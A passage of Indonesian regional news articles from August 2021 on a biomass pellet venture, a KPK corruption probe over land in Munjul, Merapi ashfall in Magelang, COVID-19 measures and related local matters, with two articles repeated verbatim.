Jakarta, FNN - PT Barata Indonesia (Persero) bersama Treehouz Asia—perusahaan berbasis di Malaysia—berkomitmen menjalin kemitraan strategis untuk membangun pabrik bahan bakar biomassa melalui pemanfaatan kayu dan limbah pengolahan kayu di Indonesia. “Barata Indonesia terus berupaya melakukan ekspansi dan aliansi dalam rangka penguatan kompetensi dan merespons peluang bisnis baru di industri agro tanah air,” kata Direktur Pemasaran Barata Indonesia Sulistyo Handoko dalam keterangannya di Jakarta, Rabu. Sulistyo menyampaikan perseroan menyambut peluang kerja sama pembangunan pabrik bahan bakar biomassa dalam rangka mendukung program co-firing di dalam negeri, sekaligus peningkatan produksi berbentuk pelet ataupun sawdust baik untuk kebutuhan dalam negeri maupun ekspor. Barata Indonesia sebagai BUMN manufaktur menaruh komitmen tinggi terhadap peningkatan kandungan lokal dalam setiap produk yang dihasilkan dan pembangunan proyek strategis nasional. Hal ini diwujudkan melalui komitmen dalam menciptakan produk substitusi impor, pemanfaatan material lokal dan penyediaan peluang tenaga kerja lokal yang diharapkan dapat mendongkrak produktivitas dan daya saing industri nasional. Dukungan itu sekaligus merupakan upaya perseroan dalam mendorong program pemulihan ekonomi nasional. “Peluang bisnis ini akan dikembangkan dengan menghadirkan keunggulan teknologi di bidang energi baru dan terbarukan sebagai solusi energi masa depan,” ujar Sulistyo. Dalam inisiasi awal atas kerja sama ini, Barata Indonesia dan TreeHouz akan membangun pellet plants yang berlokasi di Pahang Malaysia dengan kapasitas 40 ton per jam (TPH). Selain menjalin kerja sama di bidang biomassa tersebut, kedua perusahaan juga sepakat berkolaborasi dalam pengembangan co-firing dengan biomassa dalam rangka pengembangan energi alternatif untuk mendukung ketersediaan energi nasional yang bersih dan ramah lingkungan. Managing Director Treehouz Asia Tan Eng Hau mengapresiasi kerja sama itu sebagai ekspansi pasar terkhusus dalam pengembangan bahan bakar biomassa berbasis pelet atau sawdust plant projects di Indonesia. “Dengan berkah sumber daya alam yang melimpah di Indonesia, kami berharap Barata dan Treehouz dapat bersinergi memanfaatkan kompetensi masing-masing dalam menjalankan pabrik wood, baggase pellet, sawdust baru maupun revitalisasi di Indonesia,” ucap Tan. (mth)

Pakar Lingkungan Sebut Penggunaan BBM Ramah Lingkungan Perbaiki Iklim

Solo, FNN - Pakar Lingkungan dari Universitas Diponegoro Semarang Syafrudin mengatakan penggunaan bahan bakar minyak (BBM) yang ramah lingkungan mampu memperbaiki iklim udara yang saat ini mulai mengalami perubahan. "Saat ini mulai terjadi perubahan iklim akibat polusi udara. Oleh karena itu, perlu didorong untuk penggunaan BBM ramah lingkungan, yakni BBM yang pembakarannya tidak menambah beban kualitas udara, seperti Pertamax Series," katanya di Semarang, Rabu. Apalagi, katanya, sektor transportasi berkontribusi sekitar 5-10 persen terhadap pencemaran udara yang selanjutnya berdampak pada perubahan iklim. Ia mengatakan salah satu jenis BBM yang mampu menghasilkan pembakaran yang baik dengan tingkat karbon dan timbal rendah yakni Pertamax dengan RON di atas 91. Oleh karena itu, menurut dia penggunaan BBM jenis ini agar lebih digencarkan lagi mengingat dengan iklim yang makin baik akan berdampak pada peningkatan indeks kesehatan masyarakat. "Jika polusi minim tentu iklim akan makin baik, masyarakat juga makin sehat," katanya. Untuk percepatan perpindahan penggunaan bahan bakar yang ramah lingkungan oleh masyarakat tersebut, dikatakannya, pemerintah perlu memberikan dukungan berupa insentif seperti keringanan pajak. "Selain itu, juga dari sisi aturan, misalnya bagi masyarakat yang sudah menggunakan bahan bakar ramah lingkungan pada kendaraan masing-masing, maka mereka diberi insentif dengan pengurangan pajak. Ini karena dia sudah memberikan kontribusi dalam lingkungan yang lebih baik," katanya. Sementara itu, jika dilihat dari aspek kesehatan, Direktur RSUD KRMT Wongsonegoro Susi Herawati mengatakan dengan udara yang lebih bersih akibat kadar gas karbondioksida (CO2) yang mengalami penurunan maka kesehatan paru-paru juga akan tetap terjaga. "Karena udara yang masuk ke paru-paru merupakan udara bersih. Penggunaan BBM ramah lingkungan memang harus, karena kalau CO2 tinggi maka akan menyebabkan flek di paru-paru," katanya. (mth)

Anies Tanggapi Pernyataan Joe Biden Tentang Jakarta Akan Tenggelam

Jakarta, FNN - Gubernur DKI Jakarta Anies, Baswedan menanggapi pernyataan Presiden Amerika Serikat Joe Biden mengenai Jakarta akan tenggelam dalam beberapa tahun mendatang. Menurut Anies dalam rekaman webinar Ikatan Institut Teknologi Bandung, Selasa (10/8), pernyataan Biden untuk pertobatan pola berpikir (paradigma) Amerika dari pola berpikir di era Presiden Donald Trump. Dalam pernyataannya itu, Biden sebenarnya sedang mengajak Amerika dan seluruh dunia agar mengubah paradigma ekonomi yang menginginkan agar keberlangsungan ekonomi harus selaras dengan kelestarian alam. "Joe Biden sedang mengajak Amerika untuk melakukan kami sebut dengan istilah pertobatan paradigmatik. Karena kita tahu posisi Amerika pada beberapa tahun sebelumnya berseberangan sekali," katanya. "Ini sejalan dengan salah satu peran utama Joe Biden yang mengkritik habis eranya Trump pada masa kepemimpinan sebelumnya. Trump bisa dibilang meminggirkan pertimbangan ekologis, menganggap regulasi lingkungan sebagai hambatan pertumbuhan ekonomi," kata Anies sebagaimana dikutip dari Antara, Rabu (11/8). Mantan Menteri Pendidikan dan Kebudayaan itu mengatakan pernyataan Biden yang memprediksi Jakarta akan tenggelam sejatinya tidak bisa diartikan secara sederhana. Selain mengajak Amerika dan negara lain mengubah pola berpikir dalam ekonomi, pernyataan Biden, menurut dia, memberikan tanda Indonesia menjadi perhatian dari masyarakat internasional dan dianggap penting sebagai salah satu tempat yang menunjukkan sehat-tidaknya ekosistem bumi. Dengan disinggungnya Jakarta akan tenggelam, menurut Anies, dapat dimanfaatkan oleh Indonesia dalam bersuara lantang di forum-forum internasional tentang kepedulian dan komitmen terhadap lingkungan. "Kami mencoba mendorong kerjasama menciptakan kebijakan lebih hijau di level kota guna memastikan umat manusia bisa hidup layak, bisa hidup berdampingan dengan alam dan alamnya lestari," kata Anies. Dikutip dari situs resmi White House, whitehouse.gov pada Jumat (30/7) Biden mulai membahas isu perubahan iklim dengan menyampaikan bagaimana masalah tersebut memiliki dampak berbahaya yang sama terhadap semua negara. "Tantangan iklim telah mempercepat ketidakstabilan di negara kita sendiri dan di seluruh dunia," kata Biden. Peristiwa cuaca ekstrem yang lebih umum dan lebih mematikan, kerawanan pangan dan air serta naiknya permukaan laut, kata Biden, mengakibatkan perubahan iklim dan mendorong migrasi yang lebih besar dan menimbulkan risiko mendasar bagi komunitas yang paling rentan. (MD).

Kanwil Kemenkumham Kalteng-BNNP Tingkatkan Sinergi Tangani Narkoba

Palangka Raya, FNN - Kantor Wilayah Kementerian Hukum dan Hak Asasi Manusia (Kanwil Kemenkumham) Kalimantan Tengah (Kalteng) dan Badan Narkotika Nasional Provinsi (BNNP) Kalteng meningkatkan sinergi penanganan narkoba. Kepala Kanwil Kemenkumham Kalteng Ilham Djaya, di Palangka Raya, Rabu, mengatakan upaya meningkatkan sinergi tersebut dilakukan saat pihaknya menerima kunjungan pihak BNNP Kalteng. "Kunjungan Kepala BNNP Kalteng ini merupakan suatu kehormatan bagi jajaran Kanwil Kemenkumham Kalteng sebagai wujud sinergitas serta saling membantu dalam menyelesaikan permasalahan narkoba khususnya yang berada di Kalimantan Tengah," kata Ilham Djaya. Dia mengatakan pemberantasan narkoba ini tidak dapat dilaksanakan sendiri, melainkan harus dilaksanakan sinergitas antarinstansi. Menurut dia, permasalahan narkoba bukan hanya merusak generasi yang ada saat ini, tetapi juga merusak generasi yang akan datang apabila tidak segera diselesaikan. Pihaknya pun siap dan berkomitmen berpartisipasi aktif serta siap bersinergi dengan berbagai pihak, termasuk BNNP Kalteng dalam upaya pencegahan peredaran dan penanganan narkoba di wilayah Kalteng. Kepala BNNP Kalteng Brigjen Pol Roy Hardi Siahaan didampingi Kabid Berantas Agustiyanto mengatakan koordinasi dan sinergi antarinstansi penting dilakukan. Penguatan dan kerja sama dengan berbagai pihak juga menjadi bagian penting sehingga upaya penanganan narkoba semakin kuat, luas dan menyeluruh di berbagai sektor dan aspek kehidupan bermasyarakat. "Kami juga mengharapkan partisipasi dari masyarakat dalam memberikan informasi terkait peredaran narkoba, sehingga permasalahan yang timbul akibat narkoba tersebut dapat lebih cepat terselesaikan," katanya. Di antara bentuk partisipasi itu, seperti memberikan informasi kepada petugas terkait jika masyarakat mengetahui adanya indikasi peredaran narkoba. Masyarakat juga tidak perlu takut memberikan informasi, karena identitas akan dilindungi. Masyarakat juga diminta meningkatkan peran keluarga, sekolah, komunitas, lingkungan kerja dan organisasi masyarakat, lingkungan keagamaan serta aspek lain dalam upaya membentengi kehidupan sosial masyarakat dari dampak negatif peredaran narkoba. Apalagi peredaran narkoba juga kian mengancam kehidupan, tak terkecuali para generasi muda di wilayah Provinsi Kalteng selaku calon penerus kepemimpinan bangsa.(sws)

KPK Periksa M Taufik Dalami Anggaran Pengadaan Tanah di Munjul DKI

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memeriksa Wakil Ketua DPRD DKI Jakarta M Taufik untuk mendalami perihal pengusulan dan pembahasan anggaran pengadaan tanah di Munjul, Jakarta Timur. KPK, Selasa (10/8), telah memeriksa Taufik sebagai saksi untuk tersangka mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC) dan kawan-kawan dalam penyidikan kasus dugaan korupsi terkait pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Kota Jakarta Timur, DKI Jakarta tahun 2019. "Tim penyidik mendalami pengetahuan saksi terkait dengan pengusulan dan pembahasan anggaran untuk BUMD di Pemprov DKI Jakarta yang salah satunya pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Kota Jakarta Timur," kata Pelaksana Tugast Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Rabu. Selain itu, kata Ali, saksi Taufik juga dikonfirmasi mengenai pengetahuannya terkait proses jual beli tanah di Munjul tersebut, dan perkenalan saksi dengan tersangka Direktur PT Aldira Berkah Abadi Makmur (ABAM) Rudy Hartono Iskandar (RHI). KPK pada Selasa (10/8), juga memeriksa seorang saksi lainnya untuk tersangka Yoory dan kawan-kawan, yaitu Pelaksana Harian (Plh) Badan Pembinaan Badan Usaha Milik Daerah (BP BUMD) periode 2019 Riyadi. "Didalami mengenai pengetahuan saksi terkait bagaimana proses regulasi terkait program DP nol rupiah," ujar Ali. Selain Yoory dan Rudy, KPK juga telah menetapkan tiga tersangka lainnya, yakni Direktur PT Adonara Propertindo Tommy Adrian (TA), Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR), dan satu tersangka korporasi PT Adonara Propertindo (AP). Atas perbuatan para tersangka tersebut, diduga telah mengakibatkan kerugian keuangan negara sebesar Rp152,5 miliar. Para tersangka disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Terkait pelaksanaan pengadaan tanah di Munjul, KPK menjelaskan bahwa Sarana Jaya diduga dilakukan secara melawan hukum, yakni tidak adanya kajian kelayakan terhadap objek tanah, tidak dilakukannya kajian appraisal, dan tanpa didukung kelengkapan persyaratan sesuai dengan peraturan terkait. Selanjutnya, beberapa proses dan tahapan pengadaan tanah juga diduga kuat dilakukan tidak sesuai standar operasional prosedur (SOP) serta adanya dokumen yang disusun secara "backdate" dan adanya kesepakatan harga awal antara pihak Anja dan Sarana Jaya sebelum proses negosiasi dilakukan. Dalam perkembangan kasus tersebut, Ketua KPK Firli Bahuri mengatakan lembaganya bakal mendalami berapa anggaran yang sebenarnya diterima Sarana Jaya terkait pengadaan tanah di Munjul tersebut. "Jadi tentu itu akan didalami, termasuk berapa anggaran yang sesungguhnya yang diterima oleh BUMD Sarana Jaya karena cukup besar, misalnya angkanya sesuai dengan APBD itu ada Surat Keputusan Nomor 405 itu besarannya kurang lebih Rp1,8 triliun. Terus ada Surat Keputusan 1684 itu dari APBD Perubahan sebesar Rp800 miliar, ini semuanya kami dalami," kata Firli saat jumpa pers, di Gedung KPK, Jakarta, Senin (2/8). (mth)

KPK Periksa M Taufik Dalami Anggaran Pengadaan Tanah di Munjul DKI

Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memeriksa Wakil Ketua DPRD DKI Jakarta M Taufik untuk mendalami perihal pengusulan dan pembahasan anggaran pengadaan tanah di Munjul, Jakarta Timur. KPK, Selasa (10/8), telah memeriksa Taufik sebagai saksi untuk tersangka mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC) dan kawan-kawan dalam penyidikan kasus dugaan korupsi terkait pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Kota Jakarta Timur, DKI Jakarta tahun 2019. "Tim penyidik mendalami pengetahuan saksi terkait dengan pengusulan dan pembahasan anggaran untuk BUMD di Pemprov DKI Jakarta yang salah satunya pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Kota Jakarta Timur," kata Pelaksana Tugast Juru Bicara KPK Ali Fikri dalam keterangannya, di Jakarta, Rabu. Selain itu, kata Ali, saksi Taufik juga dikonfirmasi mengenai pengetahuannya terkait proses jual beli tanah di Munjul tersebut, dan perkenalan saksi dengan tersangka Direktur PT Aldira Berkah Abadi Makmur (ABAM) Rudy Hartono Iskandar (RHI). KPK pada Selasa (10/8), juga memeriksa seorang saksi lainnya untuk tersangka Yoory dan kawan-kawan, yaitu Pelaksana Harian (Plh) Badan Pembinaan Badan Usaha Milik Daerah (BP BUMD) periode 2019 Riyadi. "Didalami mengenai pengetahuan saksi terkait bagaimana proses regulasi terkait program DP nol rupiah," ujar Ali. Selain Yoory dan Rudy, KPK juga telah menetapkan tiga tersangka lainnya, yakni Direktur PT Adonara Propertindo Tommy Adrian (TA), Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR), dan satu tersangka korporasi PT Adonara Propertindo (AP). Atas perbuatan para tersangka tersebut, diduga telah mengakibatkan kerugian keuangan negara sebesar Rp152,5 miliar. Para tersangka disangkakan melanggar Pasal 2 ayat (1) atau Pasal 3 Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 jo Pasal 55 ayat (1) ke-1 KUHP. Terkait pelaksanaan pengadaan tanah di Munjul, KPK menjelaskan bahwa Sarana Jaya diduga dilakukan secara melawan hukum, yakni tidak adanya kajian kelayakan terhadap objek tanah, tidak dilakukannya kajian appraisal, dan tanpa didukung kelengkapan persyaratan sesuai dengan peraturan terkait. Selanjutnya, beberapa proses dan tahapan pengadaan tanah juga diduga kuat dilakukan tidak sesuai standar operasional prosedur (SOP) serta adanya dokumen yang disusun secara "backdate" dan adanya kesepakatan harga awal antara pihak Anja dan Sarana Jaya sebelum proses negosiasi dilakukan. Dalam perkembangan kasus tersebut, Ketua KPK Firli Bahuri mengatakan lembaganya bakal mendalami berapa anggaran yang sebenarnya diterima Sarana Jaya terkait pengadaan tanah di Munjul tersebut. "Jadi tentu itu akan didalami, termasuk berapa anggaran yang sesungguhnya yang diterima oleh BUMD Sarana Jaya karena cukup besar, misalnya angkanya sesuai dengan APBD itu ada Surat Keputusan Nomor 405 itu besarannya kurang lebih Rp1,8 triliun. Terus ada Surat Keputusan 1684 itu dari APBD Perubahan sebesar Rp800 miliar, ini semuanya kami dalami," kata Firli saat jumpa pers, di Gedung KPK, Jakarta, Senin (2/8). (sws)

Hujan Abu Vulkanik Gunung Merapi Meliputi 19 Desa di Magelang

Jakarta, FNN - Hujan abu vulkanik dari Gunung Merapi berdampak pada 19 desa di tujuh kecamatan di wilayah Kabupaten Magelang, Provinsi Jawa Tengah, menurut Badan Penanggulangan Bencana Daerah (BPBD) setempat. Menurut data BPBD Kabupaten Magelang yang dikutip dalam siaran pers Badan Nasional Penanggulangan Bencana (BNPB) di Jakarta, Rabu, hujan abu tipis akibat aktivitas vulkanik Gunung Merapi di antaranya meliputi Desa Paten dan Sengi di Kecamatan Dukun; Desa Ketep dan Wonolelo di Kecamatan Sawangan; serta Desa Pakis, Gejagan, Rejosari, Banyusidi, Ketundan, Petung, dan Daleman Kidul di Kecamatan Pakis. Selain itu, hujan abu meliputi Desa Pucungsari, Pesidi, dan Lebak di Kecamatan Grabag; Desa Kaliurang di Kecamatan Srumbung; Desa Kebonagung di Kecamatan Tegalrejo; serta Desa Karangkajen, Donorejo, dan Krincing di Kecamatan Secang. "Kondisi aman. Aktivitas masyarakat masih terpantau aman dan tidak terganggu. Kita tetap siaga 24 jam," kata Kepala BPBD Kabupaten Magelang Edi Wasono. Guna mencegah dampak abu vulkanik terhadap kesehatan masyarakat, BPBD Kabupaten Magelang sudah membagikan masker kepada warga di Kecamatan Sawangan dan Dukun. Menurut Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG), Gunung Merapi meluncurkan awan panas guguran sejauh 2.500 meter ke arah barat daya pada Selasa (10/8) pukul 20.27 WIB. Awan panas guguran tersebut memicu terjadinya hujan abu tipis. BPPTKG menyatakan bahwa status aktivitas vulkanik Gunung Merapi masih berada di level 3 atau Siaga. Warga belum direkomendasikan mengungsi ke tempat yang lebih aman, namun diimbau waspada. ​​​​​​​"Tetap tenang dan waspada dengan tetap jalankan protokol kesehatan dengan baik. Jangan beraktivitas di luar jika tidak mendesak,” kata Edi. (mth)

Hujan Abu Vulkanik Gunung Merapi Meliputi 19 Desa di Magelang

Jakarta, FNN - Hujan abu vulkanik dari Gunung Merapi berdampak pada 19 desa di tujuh kecamatan di wilayah Kabupaten Magelang, Provinsi Jawa Tengah, menurut Badan Penanggulangan Bencana Daerah (BPBD) setempat. Menurut data BPBD Kabupaten Magelang yang dikutip dalam siaran pers Badan Nasional Penanggulangan Bencana (BNPB) di Jakarta, Rabu, hujan abu tipis akibat aktivitas vulkanik Gunung Merapi di antaranya meliputi Desa Paten dan Sengi di Kecamatan Dukun; Desa Ketep dan Wonolelo di Kecamatan Sawangan; serta Desa Pakis, Gejagan, Rejosari, Banyusidi, Ketundan, Petung, dan Daleman Kidul di Kecamatan Pakis. Selain itu, hujan abu meliputi Desa Pucungsari, Pesidi, dan Lebak di Kecamatan Grabag; Desa Kaliurang di Kecamatan Srumbung; Desa Kebonagung di Kecamatan Tegalrejo; serta Desa Karangkajen, Donorejo, dan Krincing di Kecamatan Secang. "Kondisi aman. Aktivitas masyarakat masih terpantau aman dan tidak terganggu. Kita tetap siaga 24 jam," kata Kepala BPBD Kabupaten Magelang Edi Wasono. Guna mencegah dampak abu vulkanik terhadap kesehatan masyarakat, BPBD Kabupaten Magelang sudah membagikan masker kepada warga di Kecamatan Sawangan dan Dukun. Menurut Balai Penyelidikan dan Pengembangan Teknologi Kebencanaan Geologi (BPPTKG), Gunung Merapi meluncurkan awan panas guguran sejauh 2.500 meter ke arah barat daya pada Selasa (10/8) pukul 20.27 WIB. Awan panas guguran tersebut memicu terjadinya hujan abu tipis. BPPTKG menyatakan bahwa status aktivitas vulkanik Gunung Merapi masih berada di level 3 atau Siaga. Warga belum direkomendasikan mengungsi ke tempat yang lebih aman, namun diimbau waspada. ​​​​​​​"Tetap tenang dan waspada dengan tetap jalankan protokol kesehatan dengan baik. Jangan beraktivitas di luar jika tidak mendesak,” kata Edi. (sws)

Pakar: Indonesia Harus Mandiri dalam Teknologi dan Internet

Semarang, FNN - Ketua Lembaga Riset Siber Indonesia CISSReC Doktor Pratama Persadha mengatakan bangsa ini harus mandiri di bidang teknologi luar angkasa, energi terbarukan, dan internet. "Indonesia bisa fokus pada tiga hal penting ini (energi terbarukan, internet, dan teknologi luar angkasa) pada era digital sekarang ini sejak bangsa ini mampu membuat pesawat N-250 Gatotkaca pada tahun 1995," kata Pratama Persadha melalui percakapan WhatsApp kepada ANTARA di Semarang, Rabu. Pakar keamanan siber ini lantas mencontohkan Elon Reeve Musk (tokoh bisnis, penemu, dan industrialis dari Amerika Serikat) yang membangun bisnisnya sangat sukses saat ini. Misalnya, untuk internet, Elon Musk membangun Starlink, solusi internet murah yang saat ini berjalan di AS dan Kanada. "Tidak hanya itu, tetapi juga energi terbarukan, seperti Tesla dan Solar City. Bahkan, soal luar angkasa, dia punya Space X yang menjadi backbone Starlink," kata Pratama terkait dengan peringatan Hari Kebangkitan Teknologi Nasional setiap 10 Agustus. Menurut Pratama, Indonesia punya potensi itu semua, mulai dari energi terbarukan dengan solar cell, apalagi negeri ini mendapatkan matahari yang cukup sepanjang tahun. Belum lagi, dengan industri nikel dan baterai untuk modal mobil listrik. Ia mengingatkan pula bahwa bangsa ini pada posisi strategis di garis khatulistiwa yang membuat banyak keuntungan untuk satelit beredar di atasnya. Bahkan, sejak 1977 negara-negara di garis khatulistiwa sudah meminta adanya kedaulatan luar angkasa. Pada saat ini, menurut dia, banyak satelit negara lain beroperasi di atas garis khatulistiwa dengan bebas. Oleh karena itu, perlu diperbanyak program peluncuran satelit karena kebutuhan makin meningkat, baik untuk pertahanan maupun kebutuhan ekonomi. "Indonesia sendiri juga sudah memiliki Palapa Ring sebagai backbone (tulang punggung) internet. Hal yang wajib dimaksimalkan agar dalam beberapa tahun mendatang bisa menjadi faktor penentu penaikan ekonomi digital di Tanah Air," kata Pratama. Dengan memaksimalkan program Palapa Ring, Pratama optimistis bangsa ini mampu membangun berbagai aplikasi lokal sesuai dengan kebutuhan masyarakat, mulai dari surat elektronik (email), media sosial, pasar daring (marketplace), aplikasi chatting, sampai solusi digital lain. "Artinya, negara hadir memberikan stimulus berupa berbagai infrastruktur pendukung," kata pria asal Cepu, Kabupaten Blora, Jawa Tengah ini. Pada Hari Kebangkitan Teknologi 2021, lanjut dia, sebaiknya menjadi pengingat bahwa betapa pentingnya perlindungan data pribadi pada era digital saat ini. Ia mengutarakan bahwa Rancangan Undang-Undang tentang Pelindungan Data Pribadi (RUU PDP) yang belum kunjung rampung bakal memperpanjang ancaman kepada seluruh masyarakat di Tanah Air. Oleh sebab itu, dia berharap ada banyak perbaikan perlindungan data pribadi sembari menunggu UU PDP rampung. "Kami berharap nantinya isu keamanan siber menjadi budaya dalam kehidupan sehari-hari, baik dalam birokrasi maupun ekonomi. Kemandirian di dunia siber akan membuka jalan bagi Indonesia menjadi negara yang disegani masyarakat global," kata Pratama. (mth)

BPOLBF-Pemkab Manggarai Barat Bahas Tapal Batas Kawasan Pariwisata

Labuan Bajo, FNN - Badan Pelaksana Otorita Pariwisata Labuan Bajo Flores (BPOLBF) bersama Pemerintah Kabupaten Manggarai Barat, Nusa Tenggara Timur membahas rencana teknis penentuan tapal batas antara lahan milik negara yang akan diserahkan kepada BPOLBF untuk dikelola demi peningkatan kualitas pariwisata. "Proses penanaman tapal batas pada 121 titik lokasi ditujukan untuk memperjelas batas-batas lahan yang akan dikelola oleh BPOLBF dengan lahan milik Pemkab Manggarai Barat, maupun batas-batas dengan desa penyangga," kata Direktur Utama BPOLBF Shana Fatina dalam keterangan, di Labuan Bajo, Rabu. Ia menjelaskan, tapal batas akan ditempatkan juga pada titik batas dengan lahan Tora milik Desa Golo Bilas yang telah mengantongi SK serta titik batas lahan milik Desa Gorontalo dan Kelurahan Wae Kelambu. Ia memastikan penanaman tapal batas serta semua tahapan akan melibatkan pihak desa penyangga, Kesatuan Pengelolaan Hutan (KPH) Manggarai Barat, unsur TNI dan Polri, pihak BPN Manggarai Barat, serta instansi terkait. Bupati Manggarai Barat Edistasius Endi menekankan, tujuan penggunaan lahan negara yang pengelolaannya diserahkan kepada BPOLBF melalui Perpres 32 harus mampu memberikan jaminan kesejahteraan baik bagi masyarakat pada desa penyangga maupun masyarakat Manggarai Barat pada umumnya. "Harapan kami, seluruh tanah baik HPL maupun tanah yang statusnya punya negara akan berdampak pada kesejahteraan rakyat baik di sekitar kawasan maupun rakyat Manggarai Barat seluruhnya. Keterlibatan masyarakat bukan di penataan tapi pada saat pengelolaannya," ujar Bupati Edistasius dalam kesempatan rapat Persiapan Panitia Tata Batas Tukar Menukar Kawasan Hutan (TMKH) untuk Kawasan Pariwisata BPOLBF tersebut. Bupati Edi berharap terwujudnya kesepahaman kerangka berpikir bagi setiap forkopimda dengan fungsi dan tugas masing-masing dalam menyukseskan program pemerintah pusat demi tujuan kesejahteraan masyarakat. Ketua DPRD Manggarai Barat Marthen Mitar meminta kegiatan penanaman tapal batas dapat disosialisasikan dengan baik kepada masyarakat, agar tidak menimbulkan persoalan di kemudian hari. (sws)

Sebanyak 30 Mahasiswa Indonesia di Nanjing, China Terkunci di Dalam Kampus

Beijing, FNN - Sedikitnya 30 mahasiswa asal Indonesia di Nanjing, China, terkunci di dalam kampus selama musim libur akhir semester. "Sudah hampir sebulan ini kami sangat dibatasi. Sejak ada varian Delta kami tidak boleh keluar dari area kampus," kata Mahmud Yunus, mahasiswa Jiangsu Institute of Commerce, Nanjing, saat dihubungi ANTARA dari Beijing, Rabu, 11 Agustus 2021. Ia menuturkan, sejak varian Delta muncul di ibu kota Provinsi Nanjing pada 20 Juli lalu, penjagaan di kampus sangat ketat. Dia dan beberapa teman mahasiswa asal Indonesia lainnya tidak bisa mengisi liburan akhir semester. "Kami baru saja selesai mengerjakan tugas akhir, seharusnya bisa liburan kalau tidak ada kasus Delta," ujar mahasiswa asal Banjarmasin, Kalimantan Selatan. Ia baru saja menyelesaikan program D3 dan akan melanjutkan S1 di kota yang sama itu. Selama penguncian, kantin dan swalayan di kampus dibuka meskipun tidak ada kegiatan perkuliahan. "Persediaan kebutuhan sehari-hari tercukupi. Jadi, kami bisa beli kapan saja," kata Yunus yang kini berusia 22 tahun itu. Para mahasiswa yang masih bertahan di dalam asrama kampus itu setiap dua hari sekali menjalani tes PCR sama dengan warga yang tinggal di seluruh wilayah Kota Nanjing. "Sampai sekarang kami sudah dites PCR enam kali. Tidak tahu sampai kapan tes ini akan berakhir," ujarnya. Sementara itu, Atase Pendidikan, Kebudayaan, Riset, dan Teknologi KBRI Beijing Yaya Sutarya mengaku tidak khawatir dengan kondisi para mahasiswa asal Indonesia yang masih bertahan di berbagai daerah di China. "Mereka semua sudah divakisin. Kami terus memantau keadaan mereka secara berkala," ujarnya sambil menyebutkan jumlah mahasiswa asal Indonesia di China sekarang sekitar 1.400 orang. Pada Ahad (8/8), untuk pertama kalinya dalam tiga pekan terakhir di Nanjing tidak ditemukan kasus baru Covid-19 varian Delta. Walaupun begitu, otoritas kesehatan setempat belum akan melonggarkan tindakan anti epidemi sejak ditemukan kasus positif varian Delta di Bandar Udara Internasional Lukou di Nanjing pada 20 Juli lalu. (MD).

Purwakarta Akan Laksanakan Sekolah Tatap Muka Secara Bertahap

Purwakarta, FNN - Pemerintah Kabupaten Purwakarta, Jawa Barat, secara bertahap akan melaksanakan sekolah tatap muka menyusul terus menurunnya kasus COVID-19 di daerah tersebut. Bupati setempat Anne Ratna Mustika, di Purwakarta, Rabu mengatakan saat ini daerahnya sudah ke luar dari Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) Level 4 dan berlanjut ke PPKM Level 3. "Di masa PPKM Lever 3 ini, pembatasan aktivitas masyarakat menjadi lebih longgar," katanya dalam siaran pers yang diterima di Purwakarta. Menurut dia, berlakunya PPKM Level 3 ini akan ditindaklanjuti dengan mengkaji berbagai relaksasi. Misalnya di bidang pendidikan, itu terkait dengan pembukaan sekolah tatap muka. Ia mengatakan, sekolah tatap muka akan dilakukan secara bertahap, karena hingga kini belum semua pelajar di Purwakarta mendapatkan vaksinasi Covid-19. Relaksasi dalam PPKM Level 3 ini juga akan menyasar kegiatan masyarakat di rumah makan, sekarang sudah dapat makan di tempat atau dine in selama 30 menit bagi rumah makan yang mempunyai akses outdoor. Begitu juga untuk tempat ibadah, sudah bisa dibuka dengan kapasitas 50 persen. "Jadi mulai hari ini Masjid Agung Purwakarta sudah akan membuka untuk jamaah yang shalat, tetapi memang hanya kapasitas 50 persen dengan Prokes yang sangat ketat," kata bupati. Anne menyampaikan kalau saat ini Purwakarta sudah masuk zona oranye COVID-19 dengan berhasil menaikkan indeks dari 161 menjadi 208. Disampaikan pula, angka kematian COVID-19 di Purwakarta turun yang mana terkoreksi menjadi 3,3 persen dari sebelumnya 4 persen. Kemudian keterisian bed rumah sakit atau BOR di Purwakarta juga turun drastis menjadi 43 persen. Meski begitu, di masa PPKM Level 3 ini Pemkab Purwakarta terus memantau mobilitas masyarakat. Terkait dengan penutupan jalan, itu tergantung pada situasi dan tingkat mobilitas. (KR-MAK) (sws)

Kabupaten Manggarai Barat Butuh Tambahan Pasokan Vaksin COVID-19

Labuan Bajo, FNN - Pemerintah Kabupaten Manggarai Barat di Provinsi Nusa Tenggara Timur membutuhkan tambahan pasokan vaksin COVID-19 secepatnya karena stok vaksin yang tersedia semakin menipis. Kepala Dinas Kesehatan Manggarai Barat Paul Mami dalam keterangan persnya di Labuan Bajo, Rabu, mengatakan bahwa stok vaksin COVID-19 yang ada tinggal vaksin buatan Moderna untuk penyuntikan dosis ketiga vaksin bagi tenaga kesehatan dan vaksin untuk penyuntikan dosis kedua bagi warga yang sudah dapat suntikan dosis pertama. Menurut dia, stok vaksin COVID-19 cepat menipis karena dalam tiga bulan belakangan Pemerintah Kabupaten Manggarai Barat gencar melakukan vaksinasi pada warga, pelaku pariwisata, pegawai, dan guru di 12 kecamatan. Paulus menjelaskan bahwa jumlah warga Manggarai Barat yang sudah dapat suntikan vaksin COVID-19 dosis pertama sekitar 47 ribu orang dan warga yang sudah mendapat dua kali suntikan vaksin atau sudah selesai menjalani vaksinasi sekitar 33 ribu orang. Sasaran vaksinasi COVID-19 di Kabupaten 